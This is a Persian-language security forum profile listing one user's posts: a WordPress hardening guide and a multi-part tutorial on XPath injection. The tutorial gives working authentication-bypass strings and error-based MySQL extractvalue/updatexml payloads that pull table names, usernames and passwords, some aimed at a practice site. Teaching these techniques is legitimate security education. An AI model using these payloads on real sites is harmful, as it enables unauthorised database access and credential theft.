P0S3ID0N

مدير بخش
  • تعداد ارسال ها

    326
  • تاریخ عضویت

  • روز های برد

    19

آخرین بار برد P0S3ID0N در 1 بهمن

P0S3ID0N یکی از رکورد داران بیشترین تعداد پسند مطالب است !

10 دنبال کننده

درباره P0S3ID0N

  • درجه
    P0!s0nC0d3
  • تاریخ تولد تعیین نشده

اطلاعات فردی

  • جنسیت
    Not Telling

آخرین بازدید کنندگان نمایه

بلوک آخرین بازدید کننده ها غیر فعال شده است و به دیگر کاربران نشان داده نمیشود.

  1. به نام خدا امنیت در فضای مجازی همواره یکی از دغدغه های مدیران سایت ها و سرورها است. وردپرس به عنوان یکی از محبوب ترین سیستم های مدیریت محتوا در وب است که مورد استفاده طراحان و مدیران وب سایت ها قرار می گیرد وچه بسا همواره توسط هکرها و تهدیدات امنیتی مورد حمله قرار گرفته است. اگر از وردپرس به عنوان سیستم مدیریت محتوای وب سایت خود استفاده می کنید برای اینکه بتوانید سایت خود را در برابر اینگونه حملات امن نگه دارید و امنیت سایت خود را به حد قابل قبولی برسانید پس تا پایان این آموزش همراه ما باشید. دقت کنید که امنیت صد درصد نیست و نکاتی که در ادامه گفته خواهند شد اقداماتی هستند که قبل و بعد از نصب وردپرس به عنوان مدیر وب سایت خود باید انجام دهید. اقدامات قبل از نصب وردپرس حذف کردن فایل های readme.html و license.txt بعد از اینکه فایل نصبی وردپرس را در هاست از حالت zip خارج کردید اقدام به حذف فایل های readme.html و license.txt کنید. این فایل ها اطلاعاتی ازجمله نسخه نگارش وردپرس و پلاگین ها را در خود دارند پس برای اینکه اطلاعات اولیه را از دسترس اسکنرهای وردپرسی خارج کنید حتما این دوتا فایل را حذف کنید. تنظیمات دسترسی به دیتابیس MySQL در فایل wp-config.php 1- فایل wp-config درابتدا با اسم wp-config-sample است که باید از حالت sample خارج شود و به wp-config تغییرنام داده شود. در قسمت DB_NAME نام دیتابیسی که ساخته اید را واردکنید، درقسمت DB_USER نام یوزردیتابیس و در قسمت DB_PASSWORD هم نام پسورد دیبتابیس را وارد کنید دقت کنید که نباید نام دیتابیس و یوزر با هم یکی باشند و برای انتخاب پسورد از پسورد قوی و مناسبی استفاده کنید. 2- مورد بعدی که در تنظیمات فایل wp-config باید به آن توجه شود Authentication Unique Keys and Salts است که کلیدهای امنیتی قابل قبولی را در فایل wp-config فعال می کند . برای فعال کردن کد های Salts از لینک https://api.wordpress.org/secret-key/1.1/salt/ که خود وردپرس در اختیار ما قرار داده است استفاده می کنیم با مراجعه به این آدرس کلید هایی را مشاهده می کنید که باید با کلید های پیشفرض خود فایل wp-config جایگزین شوند. 3- آخرین مورد برای این قسمت WordPress Database Table prefix یا پیشوند جدول پایگاه داده وردپرس است که باید تغییر نام داده شود دلیل این کارهم این است که پیشوند جدول ها در پایگاه داده وردپرس درحالت عادی روی _wp است که تمامی فیلدهای جدول ما با این پشوند شروع می شوند و یقیناً برای هکرها قابل حد هست که تمامی فیلد های جدول با _wp شروع میشوند و با تغییر نام _wp به اسمی دیگر جلوی حمله های نرم افزاری را میگیریم و به مراتب کار را برای دوستان هکر سخت می کنیم. توجه: مورد 1 و 3 در هنگام نصب وردپرس قابل تغییر هستند. انتخاب یوزر و پسورد مناسب بعد از انجام تغییرات بالا اقدام به نصب وردپرس می کنیم در آدرس site.com/wp-admin/install.php نام کاربری پنل مدیریت و پسورد را وارد می کنیم دقت کنید که از یوزر admin به هیچ عنوان استفاده نکنید و همچنین پسورد قوی و مناسبی استفاده کنید .می -توانید از سایت های آنلاین که به صورت رندم پسورد generate میکنند استفاده کنید..اقداماتی برای جلوگیری از حملات بروت فورس است که در ادامه گفته خواهد شد. اقدامات بعد از نصب وردپرس حذف کردن فایل های نصبی وردپرس بعد از نصب وردپرس فایل های install.php و install-helper.php را پاک کنید. تغییرمسیر url صفحه ی لاگین url صفحه لاگین به صورت پیشفرض با آدرس site.com/wp-login.php قابل مشاهده است. برای تغییر این مورد ابتدا فایل wp-login.php را به عنوان مثال به guardiran.php تغییر نام داده و فایل را باز کرده و درون فایل هرجایی wp-login.php بود به جای آن guardiran.php قرار می دهیم. امن سازی پوشه wp-admin برای این کار ابتدا در کنترل پنل هاست خود برای دایرکتوری wp-admin پسورد قرار دهید . نکته ای دیگری که باید به آن توجه شود این است که بعد از log out از پنل مدیریت وارد آدرس wp-login.php نشویم در پوشه wp-includes به دنبال فایل general-template.php می گردیم. فایل را ویرایش کرده و هرجایی wp-login.php بود به جای آن مثلا guardiran.php قرار میدهیم. انتقال فایل wp-config از مسیر اصلی سایت فایل wp-config.php را از مسیر public_html به یک مسیرقبل تر در هاست خود انتقال دهید. مشکلی خاصی هم پیش نخواهد آمد. تغییرنام لقب مدیرسایت لقبی که به عنوان پیشفرض در سایت نمایش داده می شود به صورت پیشفرض یوزر اصلی است که در قسمت 3 انتخاب کردیم و به همین راحتی نفوذگر متوجه این موضوع خواهد شد . بنابراین در پنل مدریریت وردپرس در قسمت کاربران لقب پیشفرض را تغییر داده و در نمایش عمومی نام ، نامی که تعیین کردید را انتخاب کنید.  خارج کردن لینک های غیرضروری از دسترس جستجوگر گوگل برای اینکه لینک هایی که بعضا مهم هستند و نمیخواهید در دسترس همه قرار گرفته شود را از گوگل پاک کنید کافی است به آدرس https://www.google.com/webmasters/tools/home?hl=en رفته و در قسمت وب سایت آدرس سایت خود را به عنوان مثال guardiran.org است را وارد کنید بعد از تایید وارد تب Recommended method شده و فایل HTML verification را دانلود کنید و فایل رو در مسیر اصلی سایت خود آپلود کنید سپس به صفحه ی Search Console بازگشته و بر روی verified کلیک کنید بعد از تایید به قسمت google index > Remove urls رفته و لینک های غیرضروری را پاک کنید. آپدیت کردن لحظه ای پلاگین ها و افزونه ها سعی کنید همواره افزونه هایی که نصب کردید را به روز نگه دارید البته تا جایی که امکان دارد از افزونه های غیرضروری و نامعتبر استفاده نکنید. محدود کردن ثبت نام در سایت اگر واقعا سایت شما نیازی به ثبت نام ندارد عملیات ثبت نام در سایت رو از قسمت "تنظیمات > همگانی" محدود کنید و نقش پیشفرض کاربرتازه را روی "مشترک" قرار دهید. عدم index شدن و نمایش دادن محتویات درون یک دایرکتوری برای این کار فایل htaccess. در مسیر اصلی سایت را ویرایش کرده و Options –Indexes را به آخر آن اضافه کنید. با این کار فایل ها و پوشه هایی که اجازه ایندکس شدن ندارد نمایش داده نمیشوند. امن سازی پوشه include فایل htaccess. را ویرایش کرده و به آخر آن کدهای زیر را اضافه کنید. RewriteEngine On RewriteBase / RewriteRule ^wp-admin/includes/ - [F,L] RewriteRule !^wp-includes/ - [S=3] RewriteRule ^wp-includes/[^/]+\.php$ - [F,L] RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L] RewriteRule ^wp-includes/theme-compat/ - [F,L] محافظت از فایل های wp-config و htaccess. با اضافه کردن این کد به فایل htaccess. عملیات خواندن را برای همه ی کاربران محدود می کند. secure wp-config.php# <Files wp-config.php>  order allow,deny deny from all </Files> secure .htaccess# <Files .htaccess> order deny,allow deny from all </Files> همچنین برای اینکه دسترسی به فایل htaccess. محدود تر کنیم سطح دسترسی این فایل رو روی 0444 قرارمی دهیم. مخفی کردن ورژن و نسخه وردپرس وقتی در صفحه ی اصلی بر روی view page surce کلیک کنیم میتوان ورژن وردپرس رو در سورس مشاهده کرد برای جلوگیری از این مورد می توان کد زیر را در قسمت پوسته ها > ویرایش پوسته > functions.php اضافه کرد. remove_action('wp_head', 'wp_generator'); function wpt_remove_version() { return '';  } add_filter('the_generator', 'wpt_remove_version'); جلوگیری از حملات بروت فورس (Brute Force) 1- استفاده از افزونه limit login attempts : با نصب این افزونه یک گزینه با اسم limit login attempts به تنظیمات اضافه خواهد شد که در تنظیمات این این افزونه میتوان تعداد رمز های استباه را محدود کنیم و از حملات صفحه لاگین محافظت کرد با اضافه کردن کد زیر به functions.php می توان پیغام ارور صفحه لاگین را عوض کرد function failed_login () { return 'your massage';  } add_filter ( 'login_errors', 'failed_login' ); 2- استفاده از افزونه معادله امنیتی یا Captcha این افزونه از ربات ها و اسکریپت ها جهت بروت فورس جلوگیری می کند.  3- غیرفعال کردن چند منو و همچنین اپدیت اتوماتیک وردپرس با اضافه کردن کد زیربه فایل wp-config.php می توان منوهای "افزودن ، ویراشگر" را در قسمت افزونه ها و "ویرایشگر" در قسمت نمایش و همچنین آپدیت خودکار وردپرس را غیرفعال کرد. define('DISALLOW_FILE_EDIT',true); define('DISALLOW_FILE_MODS', true); define( 'WP_AUTO_UPDATE_CORE', false ); تهیه نسخه پشتیبان بک آپ از سایت از مهترین کارهایی که یک مدیر وب سایت باید انجام دهد تهیه بک آپ از سایت خود است.سعی کنید همیشه آخرین بک آپ خود را بازگردانی کنید و برای اطمینان خاطر بیشتر نسخه های قبلی بک آپ را هم داشته باشید. تمامی حقوق این مقاله متعلق به تیم امنیتی گاردایران و نویسنده مطلب می باشد. موفق باشید.
  2. P0S3ID0N

    سوال

    سلام دوست عزیز سوالتون یک سوال کلی هست. مبحث نفوذ و امنیت خیلی گسترده است شما باید هدفتون از هک کردن رو مشخص کنید بعدش مطابق هدفتون پیش برید شبکه رو یاد بگیرید، با زبان های برنامه نویسی مثل پایتون و php یا c++ کارکنید سیستم عامل و همچنین خط فرمان ویندوز و لینوکس تجریه کسب کنید تمرین کنید و.... یک سری لینک قرار میدم که سوالات افراد مبتدی در انجمن لینک 1 لینک 2 لینک 3 لینک 4 لینک 5 موفق باشید.
  3. P0S3ID0N

    آموزش حملات Xpath Injection

    منابع: https://www.w3schools.com http://www.securityidiots.com/ سربلند و پیروز باشید. نویسنده : P0S3ID0N تیم امنیتی گاردایران
  4. P0S3ID0N

    آموزش حملات Xpath Injection

    قسمت سوم ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ توابع XML در پایگاه داده MySQL توابع ()ExtractValue و ()UpdateXML قابلیت XPath 1.0 را ارائه می کنند. عبارات XPath از این توابع برای پشتیبانی از متغیرهای کاربر و متغیرهای برنامه ذخیره شده محلی استفاده می کند. در این قسمت بحث اصلی بر روی تابع ()ExtractValue است. تابع ()ExtractValue تابع ()ExtractValue برای استخراج داده از یک رشته XML با استفاده از XPath استفاده می شود. ورودی های تابع extract value به صورت زیر است: ExtractValue('xmldatahere', 'xpathqueryhere') در اینجا اگر کوئری xpath ما به طور متناوب اشتباه باشد با خطای زیر مواجه میشویم: XPATH syntax error: 'xpathqueryhere' چرا باید از این نوع متد inject استفاده کنیم ؟ در بعضی از وب اپلیکشن ها وقتی نتونیم تزریق خود را با متدهایی مثل death row انجام بدهیم و هیچ خروجی به ما نمایش داده نشود و برنامه نویس صحت ورودی ها را به درستی چک کند در این شرایط از این متد استفاده می کنیم و به پایگاه داده نفوذ می کنیم. به طور مثال در کوئری زیر: http://leettime.net/sqlninja.com/tasks/xpath_ch1.php?id=1" union select 1,2,3,4,5-- هیچ خروجی نشان داده نمی شود و نمی توانیم از تکنیک union select استفاده کنیم.در این شرایط است که باید از injection xpath استفاده کنیم. در مثال بالا می بینیم که بعد از عدد 1 دابل کوتیشین امده است پس متوجه می شویم که تزریق ما باید از نوع رشته string باشد. در نتیجه کوئری ما به شکل زیر میباشد: select path from pages where view="<our_input_here>" limit 1,1; و در ادامه تزریق خودمان را با استفاده از تزریق XPATH ادامه می دهیم www.site.com/index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(OUR QUERY HERE)))-- برای مثال دریافت اسم پایگاه داده از تزریق زیر استفاده می کنیم: www.site.com/index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(select database())))-- خروجی : XPATH syntax error: ' database_name_here' اگر بخواهیم اسم جداول را بدست بیاریم تزریق ما به شکل زیر می شود: www.site.com/index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))-- خروجی : XPATH syntax error: 'table_name_here' در مثال بالا دلیل استفاده از limit این است که این در این تکنیک ما نمی توانیم اطاعات طولانی بیشتر از ۳۲ کاراکتر را استخراج کنیم به عنوان مثال در تزریق بالا مشخص شد که اسم جدول های ما به صورت زیر است: Posts Assets Banner Links Users سپس با استفاده از تزریق زیر میتوانیم ستون های مورد نظر خود را پیدا کنیم: www.site.com/index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))-- خروجی : XPATH syntax error: 'column_name_here' خروجی تزریق فوق : id username password برای اینکه تعداد یوزرها رو بدانیم از راه حل زیر استفاده میکنیم : www.site.com/index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(select count(username) from users)))-- خروجی : XPATH syntax error: 'count_will_come_here' و درنهایت با استفاده از تزریق زیر اطلاعاتی که مد نظر است را استخراج می کنیم : www.vuln-web.com/index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(select count(username,0x3a,password) from users limit 0,1)))-- خروجی : XPATH syntax error: 'Output_here' تابع ()UpdateXML UPDATEXML یک نمونه XMLType و یک جفت XPath را به عنوان آرگومان در نظر می گیرد و یک نمونه XMLType را با مقدار به روز شده برمی گرداند. این تابع نیز مشابه تابع extractvalue عمل می کنید و نیازی به توضیح نیست با دیدن مراحل زیر فرق بین این دو تابع رو خواهید فهمید . ورودی های تابع extract value به صورت زیر است: UPDATEXML(XMLType_Instance, XPath_string,value_expression, namespace_string) در اینجا اگر کوئری xpath ما به طور متناوب اشتباه باشد با خطای زیر مواجه میشویم: XPATH syntax error: 'xpathqueryhere' در ادامه تزریق خود را ادامه میدهیم : 1- www.vuln-web.com/index.php?view=-35" union select 1,2,3,4,5-- 2- www.vuln-web.com/index.php?view=-35" and updatexml(null,concat(0x3a,(0x0a,(select database()))),null)-- Output : XPATH syntax error: ':database_name_here' 3- www.vuln-web.com/index.php?view=-35" and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),null)-- Output : XPATH syntax error: ':table_name_here' 5- www.vuln-web.com/index.php?view=-35" and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),null)-- Output : XPATH syntax error: ':column_name_here' 6- www.vuln-web.com/index.php?view=-35" and updatexml(null,concat(0x3a,(select count(username) from users)),null)-- Output : XPATH syntax error: ':count_will_come_here' 7- www.vuln-web.com/index.php?view=-35" and updatexml(null,concat(0x3a,(select count(username,0x3a,password) from users limit 0,1)),null)-- Output : XPATH syntax error: ':Output_here' ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ پایان قسمت سوم
  5. P0S3ID0N

    آموزش حملات Xpath Injection

    تزریق در فایل XML با دانش صفر گزینه های مورد بررسی : 1. تست و تایید XPATHi 2. تکرار روی گره ها + استخراج داده ها از گره ها 3. استخراج داده از گره ها و المنت های هم نژاد 1.تست و تایید XPATHi تست و تایید XPATHi مهمترین بخش است. وقتی ما یک ورودی را می بینیم، اولین چیزی که بررسی می- کنیم استفاده از متد های تست است: 1. 1 or 1=1 2. 1 or true 3. ' or ''=' 4. " or ""=" در مورد XPATH یا SQLi و بسیاری از تزریق های دیگر از همین متدها استفاده خواهیم کرد بنابراین برای تایید اینکه آیا XPATHi است از متد ()position استفاده میکنیم که مربوط به XPATH است: 1. 1 or postition()=1 or 1=1 2. 1 or postition()=1 or true 3. ' or postition()=1 or ''=' 4. " or postition()=1 or ""=" اگر هر کدام از موارد بالا کار کرد، می توانید فرض کنید تزریق شما با یک تزریق XPATH انجام می شود. 2.تکرار روی گره ها + استخراج داده ها از گره ها کد xml ما به صورت زیر است: 1. <userdb> 2. <user> 3. <id>1</id> 4. <username>Jefferson</username> 5. <password>Jutobi</password> 6. <phone>123-456-7890</phone> 7. </user> 8. <user> 9. 10. <id>2</id> 11. <username>Alexandra</username> 12. <password>securityidiots</password> 13. <phone>603-478-4115</phone> 14. </user> 15. <user> 16. 17. <id>3</id> 18. <username>Zen</username> 19. <password>@lltogether</password> 20. <phone>222-222-2222</phone> 21. </user> 22. </userdb> یک کوئری SQL را به صورت زیر در نظر بگیرید: 1. select username from userdb.user where id=1 اگر بخواهیم آن را به یک کوئری XPATH تبدیل کنیم به این صورت عمل میکنیم: 1. /userdb/user[id='1']/username همانطور که در پرس و جو بالا می بینید، ابتدا مسیر رو مشخص کردیم، سپس شرایط و سپس آنچه که ما می خواهیم استخراج کنیم را مشخص کرده ایم. اگر به جای رشته عبارت ورودی [id='1'] ما از متد بایپس استفاده کنیم که در بالا توضیح داده شد به این صورت: 2. /userdb/user[id='' or 1=1 or ''='']/username میتوانیم جزئیات مربوط به اولین کاربر را مشاهده کنیم. فرض بر این است که ما شناسه کاربر (ID) را برای هر کاربر نمی شناسیم و می خواهیم نام های کاربری همه کاربران را بررسی کنیم، بنابراین می توانیم از متدposition () استفاده کنیم. یک مثال از متدposition () : 1. /userdb/user[position()=1]/username 2. extract the first username which is "Jefferson" 3. استخراج اولین یوزر 4. 5. /userdb/user[position()=2]/username 6. extract the first username which is "Alaxandra" 7. استخراج دومین یوزر 8. 9. /userdb/user[position()=3]/username 10. extract the first username which is "Zen" 11. استخراج سومین یوزر میخواهیم پرس و جویی که قبلا انجام دادیم را با استفاده از متد ()position تزریق کنیم: 1. /userdb/user[id='' or position()=1 or '']/username 2. extract the first username which is "Jefferson" 3. استخراج اولین یوزر در اینجا گفته ایم که شناسه باید خالی باشد و نام کاربری اولین یوزر را دریافت کنیم اما این تزریق به ما اجازه نمی دهد که جزییات دیگری، مانند ستون های دیگر در SQL یا XPATH یا دیگر المنت های هم نژاد رو به دست آوریم زیرا در انتهای جستجو گفته ایم که تنها نام کاربری را دریافت کنیم. 3.استخراج داده از گره ها و المنت های هم نژاد برای استخراح داده ها و المنت های هم نژاد از عملگر pipe استفاده می کنیم که دو کوئری رو باهم ترکیب می کند مثال : 1. /userdb/user[id='' or position()=1]/password|a['']/username 2. extract the first user's password which is "Jutobi" استخراج پسورد یوزر اول خب در اینجا ما نام ستون رو برای کلمه عبور، password قرار دادیم که فقط یک فرض بود اما گر نام ستون برای کلمه عبور “my-pass” باشد چگونه می توان آن را استخراج کرد؟ می توان از یک ترفند استفاده کنیم! اگر در قسمت 1 آموزش انتخاب مسیر های نامشخص را خوانده باشید می توانیم برای انتخاب گره یا عنصر ناشناخته از * استفاده کنیم: 1. /userdb/user[id='' or position()=1]/*[1]|a['']/username 2. get the First element for first user which is '1'. المنت اول از گره اول /userdb/user[id='' or position()=1]/*[2]|a['']/username get the Second element for first user which is "Jefferson". المنت دوم از گره اول /userdb/user[id='' or position()=1]/*[3]|a['']/username get the third element for first user which is "Jutobi". المنت سوم از گره اول /userdb/user[id='' or position()=1]/*[4]|a['']/username get the forth element for first user which is "123-456-7890". المنت چهارم از گره اول راه های فوق بهترین راه برای استخراج داده از فایل های آسیب پذیر XML می باشند. به این صورت شما میتوانید اینجکت خود را انجام دهید و به داده های درون فایل های دست یابید. ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ پایان قسمت دوم
  6. P0S3ID0N

    آموزش حملات Xpath Injection

    مقدمه ای برای XPATH Injection می دانید که پایگاه داده برای احراز هویت، جستجو و نگهداری اطلاعات و سایر موارد استفاده می شود. در یک سند xml نیز با استفاده از XPath querying پرس و جویی هایی به سمت فایل های XML که دیتابیس ما محسوب می شود انجام می گیرد. تزریقات ما شبیه به SQL است با این تفاوت که کوئری ها و همچنین نتایج متفاوت است. مثالی ساده از XPATH Injection یک برنامه وب را که از XPath برای پرس و جوی یک سند XML و بازیابی استفاده می کند را در نظر بگیرید این سند به گونه ای عمل می کند که نام کاربری و رمز عبور را از مشتری دریافت می کند چنین برنامه ای می- تواند این مقادیر را به طور مستقیم در XPath query قرار دهد برای مثال : کد php 1. if(isset($_REQUEST["login"]) & isset($_REQUEST["password"])) 2. { 3. 4. $login = $_REQUEST["login"]; 5. $login = xmli($login); 6. 7. $password = $_REQUEST["password"]; 8. $password = xmli($password); 9. 10. // Loads the XML file 11. $xml = simplexml_load_file("passwords/heroes.xml"); 12. 13. // XPath search 14. $result = $xml->xpath("/heroes/hero[login='" . $login . "' and password='" . $password . "']"); کد xml 1. <?xml version="1.0" encoding="UTF-8"?> 2. <heroes> 3. <hero> 4. <id>1</id> 5. <login>neo</login> 6. <password>trinity</password> 7. <secret>Oh why didn't I took that BLACK pill?</secret> 8. </hero> 9. <hero> 10. <id>2</id> 11. <login>alice</login> 12. <password>loveZombies</password> 13. <secret>There's a cure!</secret> 14. </hero> 15. <hero> 16. <id>3</id> 17. <login>thor</login> 18. <password>Asgard</password> 19. <secret>Oh, no... this is Earth... isn't it?</secret> 20. </hero> 21. <hero> 22. <id>4</id> 23. <login>wolverine</login> 24. <password>Log@N</password> 25. <secret>What's a Magneto?</secret> 26. </hero> 27. <hero> 28. <id>5</id> 29. <login>johnny</login> 30. <password>m3ph1st0ph3l3s</password> 31. <secret>I'm the Ghost Rider!</secret> 32. </hero> 33. <hero> 34. <id>6</id> 35. <login>selene</login> 36. <password>m00n</password> 37. <secret>It wasn't the Lycans. It was you.</secret> 38. </hero> 39. </heroes> و صفحه ی login ما نیز به صورت زیر است: قاعدتا ورودی که توسط کاربر وارد می شود را نمی دانیم می توان از مقدار زیر به جای نام کاربری و پسورد از کد زیر جهت بایپس عملیات بالا استفاده کرد: 1. ' or 1=1 or ''=' می بینید که id 1 با نام کاربری neo رو نمایش داد. 1. <hero> 2. <id>1</id> 3. <login>neo</login> 4. <password>trinity</password> 5. <secret>Oh why didn't I took that BLACK pill?</secret> 6. </hero> دلیل این کار چیست؟ query ما در کد php به این صورت است: 1. xpath("/heroes/hero[login='" . $login . "' and password='" . $password . "']"); ورودی که ما وارد کرده ایم به این صورت است: در این ترکیب شروط تنها قسمت اول مورد مقایسه انجام گرفته است که true می باشد. اگر شرط ما درست باشد با تمامی یوزرهای درون دیتابیس XML مطابقت دارد یعنی تمام آن ها را برمیگرداند ولی برای اینکه خروجی کمتری داشته باشیم کد php به صورتی نوشته ایم که تنها یوزر اول نمایش داده شود.
  7. P0S3ID0N

    آموزش حملات Xpath Injection

    قسمت دوم ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ در قسمت اول به طور خلاصه با مبانی XML و XPath آشنا شدید. در ادامه به بررسی آسیب پذیری های XML و همچنین بایپس ها و متدهای تزریقی زبان پرس و جوی XPath می پردازیم. قبل از اینکه به مبحث XPath Injection بپردازم ابتدا چند مورد پیش نیاز رو توضیح خواهم داد. عملگرهای منطقی (logical operators) عملگرهای منطقی، منطق بین مقادیر رو مشخص می کند که خروجی آن یک مقدارtrue / false) Boolean) است. عملگر نام && AND || OR ترکیب شروط عملوند اول A عملوند دوم B نتیجه A && B نتیجه A || B True True True True True False False True False True False True False False False False
  8. P0S3ID0N

    آموزش حملات Xpath Injection

    XPath Syntax XPath از عبارات مسیر (path) برای انتخاب گره ها (nodes) در یک سند XML استفاده می کند. این عبارات مسیر بسیار شبیه عبارات مسیری است که شما با سیستم فایل های کامپیوتری سنتی استفاده می کنید: پر کار برد ترین اصطلاحات )دستورات( برای انتخاب مسیر ، به شرح زیر می باشد : توضیحات عبارت انتخاب تمام گره ها از "اسم گره" اسم گره (node name) انتخاب از گره ریشه اصلی / انتخاب گره ها از فایل جاری // انتخاب گره ی فعلی . انتخاب زیر مجموعه گره از گره ی فعلی .. انتخاب ویژگی )متغیر( @ جست جوی عبارات مشخص (Predicate) برای پیدا کردن یک گره خاص یا گره ای که حاوی مقدار خاصی (استخراج گره ها به همراه مقدار های ذخیره شده) هستند استفاده می شود. Predicate همیشه به شکل براکت [ ] هستند. نمونه ی یک سند XML 1. <?xml version="1.0" encoding="UTF-8"?> 2. 3. <bookstore> 4. 5. <book> 6. <title lang="en">Harry Potter</title> 7. <price>39.99</price> 8. </book> 9. 10. <book> 11. <title lang="en">Learning XML</title> 12. <price>35.00</price> 13. </book> 14. 15. </bookstore> در جدول زیر مثال هایی از سند بالا بیان شده است : نتایج مسیر ها به همراه دستورات انتخاب المنت اول از مجموعه المنت های bookstore /bookstore/book[1] انتخاب آخرین کتاب از المنت هایbookstore /bookstore/book[last()] انتخاب تمامی المنت های موجود به جز آخرین المنت /bookstore/book[last()-1] انتخاب اولین دو کتاب از مجموعه المنت هایbookstore /bookstore/book[position()<3] انتخاب موضوع تمامی المنت هایی که دارای المنت lang هستند //title[@lang] انتخاب تمامی موضوعاتی که دارای المنت lang با مقدار en هستند //title[@lang='en'] انتخاب تمامی کتاب هایی که قیمت آن ها بزرگ تر از 35.00 هستند در مجموع المنت های bookstore /bookstore/book[price>35.00] انتخاب تمامی موضوعات کتاب ها در مجموعه bookstore که قیمت آن ها بیشتر از 35.00 می باشد /bookstore/book[price>35.00]/title انتخاب مسیر های نامشخص (Selecting Unknown Nodes) برای انتخاب گره های ناشناخته XML می توانیم از wildcards XPath استفاده کرد. توضیحات Wildcard در نظر گرفتن هر گره عنصر * در نظر گرفتن هر المنت در گره @* در نظر گرفتن هر گره در هر جایی node() انتخاب چندین مسیر (Selecting Several Paths) با استفاده از عملگر” | “ میتوانیم به چندین مسیر درXPath دست یابیم و استفاده کنیم .با این عملگر میتوانیم چندین مسیر را درXPath انتخاب کنیم . نتایج مسیرها انتخاب موضوعات و قیمت ها از المنت های درون المنت کتاب //book/title | //book/price انتخاب تمامی موضوعات و قیمت ها در سند //title | //price انتخاب تمامی موضوعات در المنت های کتاب در المنت های bookstore و قیمت ها در سند /bookstore/book/title | //price تا اینجا با مفهموم XPath آشنا شدید، در ادامه یک مثال از نحوه ی جست جوی عبارات با هم کار میکنیم تا مطلب بهتر درک شود. اگر یک کد php به صورت زیر داشته باشیم: 1. <?php 2. $result = ''; 3. if(isset($_POST['submit'])){ 4. $doc = new DOMDocument; 5. $doc->load('coffee.xml'); 6. $xpath = new DOMXPath($doc); 7. $input = $_POST['search']; 8. $query = $input; 9. $result = $xpath->query($query); 10. } 11. ?> این کد یک فایل XML به نام coffee.xml رو لود میکنه که دارای یک button جستجو است و وقتی روی اون کلیک شد نتایج از فایل coffee.xml فراخوانی می شود درواقع ورودی ما همان کوئری میشود که ارسال می کنیم. کدهای فایل coffee.xml نیز به این صورت است: 1. <Coffees> 2. <Coffee ID="1"> 3. <ID>1</ID> 4. <Name>Affogato</Name> 5. <Desc>ID 1</Desc> 6. <Price>$4.69</Price> 7. </Coffee> 8. 9. <Coffee ID="2"> 10. <ID>2</ID> 11. <Name>Americano</Name> 12. <Desc>ID 2</Desc> 13. <Price>$5.00</Price> 14. </Coffee> 15. 16. <Coffee ID="3"> 17. <ID>3</ID> 18. <Name>Bicerin</Name> 19. <Desc>ID 3</Desc> 20. <Price>$8.90</Price> 21. </Coffee> 22. 23. <Coffee ID="4"> 24. <ID>4</ID> 25. <Name>Café Bombón</Name> 26. <Desc>ID 4</Desc> 27. <Price>$7.08</Price> 28. </Coffee> 29. 30. <Coffee ID="5"> 31. <ID>5</ID> 32. <Name>Café au lait</Name> 33. <Desc>ID 5</Desc> 34. <Price>$10.15</Price> 35. </Coffee> 36. </Coffees> مطابق جدولی که مربوط به Predicate میشد می توان هرکدام از دستورات رو در اینجا تست کرد برای مثال می خواهیم که اولین المنت از مجموعه المنت های Coffees رو جستجو کنیم: با استفاده از تابع ()position نیز میتوانیم خروجی های متفاوت تری داشته باشیم مثلا میتوانیم دوتا المنت اول رو در خروجی نمایش دهیم: خروجی دیگر دستورات نیز به همان صورتی است که در جدول مربوط به Predicate ذکر شده است. ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ پایان قسمت اول
  9. P0S3ID0N

    آموزش حملات Xpath Injection

    اصطلاحات XPath گره ها (nodes) درXPath، هفت نوع گره وجود دارد: عنصر، ویژگی، متن، فضای نام، پردازش، نظر، و گره های سند. Root Element Text Attribute Comment Processing Instruction Namespace اسناد XML به عنوان درختان گره به محسوب می شوند. بالاترین عنصر درخت عنصر ریشه (root) است. به سند XML زیر نگاه کنید: 1. <?xml version="1.0" encoding="UTF-8"?> 2. <bookstore> 3. <book> 4. <title lang="en">Harry Potter</title> 5. <author>J K. Rowling</author> 6. <year>2005</year> 7. <price>29.99</price> 8. </book> 9. </bookstore> مثال گره در سند XML بالا : 1. <bookstore> (root element node) 2. <author>J K. Rowling</author> (element node) 3. lang="en" (attribute node) ارزش های ریز (Atomic values) مقادیر اتمی، گره های بدون فرزند یا والدین است. مثال مقادیر ریز : 1. J K. Rowling 2. "en" آیتم ها (Items) آیتم ها، مقادیر اتمی یا گره ها هستند. رابطه گره ها (Relationship of Nodes) 1.والدین (Parent) هر عنصر و ویژگی یک والد دارد. در مثال زیر: عنصر book، والدین title, author, year, price است. 1. <book> 2. <title>Harry Potter</title> 3. <author>J K. Rowling</author> 4. <year>2005</year> 5. <price>29.99</price> 6. </book> 2.فرزندان (Children) گره های عنصر ممکن است صفر، یک یا چند فرزند داشته باشند. در مثال زیر: title, author, year, price همه فرزندان عنصر عنصر book هستند. 1. <book> 2. <title>Harry Potter</title> 3. <author>J K. Rowling</author> 4. <year>2005</year> 5. <price>29.99</price> 6. </book> 3.هم نژاد (Siblings) گره هایی که والدین مشابه دارند. در مثال زیر: title, author, year, price همه هم نژاد هستند. 1. <book> 2. <title>Harry Potter</title> 3. <author>J K. Rowling</author> 4. <year>2005</year> 5. <price>29.99</price> 6. </book> 4. اجداد (Ancestors) والدین گره، پدر و مادر والدین و غیره در مثال زیر:عنصر bookstore اجداد title, author, year, price و book است. 1. <bookstore> 2. <book> 3. <title>Harry Potter</title> 4. <author>J K. Rowling</author> 5. <year>2005</year> 6. <price>29.99</price> 7. </book> 8. </bookstore>
  10. P0S3ID0N

    آموزش حملات Xpath Injection

